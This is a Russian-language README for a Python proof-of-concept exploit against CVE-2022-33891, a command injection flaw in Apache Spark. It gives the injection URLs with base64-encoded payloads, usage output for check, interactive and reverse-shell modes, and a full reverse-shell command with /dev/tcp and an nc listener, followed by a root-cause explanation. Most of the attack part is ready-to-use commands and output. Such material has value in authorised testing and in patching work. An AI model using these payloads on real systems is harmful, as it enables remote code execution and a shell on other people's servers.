
Уязвимость внедрения команд оболочки Apache Spark
Уязвимость внедрения команд в оболочку Apache Spark
Python POC для эксплуатации уязвимости внедрения команд в оболочку Apache Spark. Я видел несколько других POC, но они выглядели крайне подозрительно. Этот — чистый и простой.
Я не обнаруживал эту уязвимость/эксплойт. Я просто хотел сделать безопасный POC для сообщества ^.^
CVE первоначально обнаружена Kostya Kortchinsky из Databricks.
Обновление 9/7/22: Айо, теперь для этого есть модуль Metasploit! Создан h00die-gr3y и теперь слит!
Версии Apache Spark 3.0.3 и ранее, версии 3.1.1–3.1.2 и версии 3.2.0–3.2.1
http://localhost:8080/?doAs=`[command injection here]`
Пример
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... ожидание 10 секунд
Вам нужна уязвимая версия Spark с одним изменённым параметром конфигурации.
$ pip3 install -r requirements.txtspark/.docker-compose.yml в каталоге spark/ и выполните docker-compose up. Дайте контейнеру запуститься.sudo docker exec -it spark_spark_1 /bin/bashecho "spark.acls.enable true" >> conf/spark-defaults.confdocker-compose up┌──(kali㉿kali)-[~/Desktop]
└─$ python3 poc.py -h
usage: poc.py [-h] -u URL -p PORT [--revshell]
[-lh LISTENINGHOST] [-lp LISTENINGPORT]
[--check] [--verbose]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is
exploitable with a sleep test
--verbose Verbose mode
Проверка уязвимости цели:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --check --verbose
[*] Attempting to connect to site...
[*] URL request: http://localhost:8080/?doAs='testing'
[*] Response status code: 403
[!] Performing sleep test of 10 seconds...
[*] T1: 2022-07-22 10:47:48.406996
[*] Command is: sleep 10
[*] Base64 command is: c2xlZXAgMTA=
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[*] T2: 2022-07-22 10:47:58.425108
[*] Delta T: 10
[+] Sleep was 10 seconds! This target is probably vulnerable!
Выполнение команд в цикле командной строки:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --verbose
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
[cve-2022-33891> sleep 5
[*] Command is: sleep 5
[*] Base64 command is: c2xlZXAgNQ==
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
[*] Sending exploit...
[*] Response status code: 403
[*] Hint: 403 is good.
[cve-2022-33891>
Запуск обратной оболочки:
husky@dev-kde:~/Desktop/cve-2022-33891$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 10.10.1.237 -lp 9001 --verbose
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 9001
[*] When your listener is set up, press enter!
[*] Command is: sh -i >& /dev/tcp/10.10.1.237/9001 0>&1
[*] Base64 command is: c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMS4yMzcvOTAwMSAwPiYx | base64 -d | bash`
[*] Sending exploit...
...[в другом терминале]...
husky@dev-kde:~/Desktop/cve-2022-33891$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 172.19.0.2 52136
sh: 0: can't access tty; job control turned off
$ whoami
spark
$ echo "hackerman"
hackerman
$
Внедрение команды происходит потому, что Spark проверяет членство в группе пользователя, переданного в параметре ?doAs, с помощью сырой команды Linux. Интерполяция Bash выполняет команду, отправляет вывод в поле id и пытается найти полученного пользователя.
Передача which python в качестве значения ?doAs= приводит к следующему результату в traceback:
...
http://localhost:8080/?doAs=`which%20python`
...
spark_1 | 22/07/22 15:15:57 INFO Utils: id: '/opt/bitnami/python/bin/python': no such user
spark_1 | 22/07/22 15:15:57 ERROR Utils: Process List(bash, -c, id -Gn `which python`) exited with code 1:
spark_1 | 22/07/22 15:15:57 ERROR Utils: Error getting groups for user=`which python`
Здесь Java решила, что лучше всего передать команду id в bash -c для проверки членства в группе для указанного пользователя. Проблема в том, что это также позволяет внедрение команд. Интерполяция Bash выполнила данную команду и вывела результаты на первой строке этого вывода, а затем пытается найти пользователя по stdout команды.
Нет пользователя с именем /opt/bitnami/python/bin/python, но это точно означает, что команда была передана Bash и выполнена.
Патченные версии параметризуют этот вызов, используя полный путь к команде /bin/id вместо bash -c id.
Стоит отметить, что на странице ничего не отображается при выполнении команды, поэтому это слепое OS-внедрение. Ваши команды выполняются, но не будет никаких признаков того, сработали они или нет, или даже установлена ли программа на цели. Например, контейнер, который запускается с помощью файла docker-compose.yml в этом репозитории, не имеет ping, поэтому проверка внедрения команды через pingback не сработает. Но вы не будете знать об этом, поэтому останетесь в недоумении, сработало ли это или нет.
Тест со сном — безопасный вариант ^.^
Я потратил ровно ноль циклов на то, чтобы сделать этот POC безопасным с точки зрения OPSEC. Редтимеры, это на вашей совести.
Этот POC не имеет возможности пассивного перебора. Эксплойт представляет собой слепое внедрение команд. Если вы используете этот скрипт против цели, вы отправляете ей пакеты. Даже если вы используете параметр --check и цель уязвима, вы активно эксплуатируете её, чтобы доказать, что она уязвима.
Не используйте это на производственных системах, чувствительных к тестированию. Не используйте это против целей, если у вас нет на это разрешения. Я никоим образом не несу ответственности за то, как вы решите использовать это.
Ознакомьтесь с лицензией.